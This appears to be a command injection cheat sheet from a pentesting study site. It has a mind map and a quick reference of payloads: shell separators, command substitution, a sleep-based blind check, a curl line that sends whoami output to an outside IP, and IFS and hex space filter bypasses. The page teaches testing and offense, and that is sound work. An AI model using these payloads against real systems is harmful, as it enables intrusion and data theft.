Command Injection Flow
Injecting OS commands
Command InjectionsTip: Click on any node to see related information!
Interactive Mind Map
graph TD
A[Input Field] --> B[Test Delimiters]
B --> C[; | && ||]
C --> D{Output Visible?}
D -->|Yes| E[Direct Injection]
D -->|No| F[Blind Injection]
E --> G[ls / whoami]
F --> H[Time Based (sleep)]
F --> I[Out of Band (curl)]
G --> J[Reverse Shell]
H --> J
Related Modules
Quick Reference
Basic
; id # Semicolon separator | id # Pipe separator || id # OR separator (runs if first fails) & id # Background separator && id # AND separator (runs if first succeeds) $(id) # Command substitution `id` # Backtick substitution
Blind
; sleep 5 # Time-based blind check | curl http://10.10.14.5/$(whoami) # Out-of-band data exfiltration
Filter Bypass
${IFS} # Use IFS environment variable for space
$'\x20' # Use hex code for space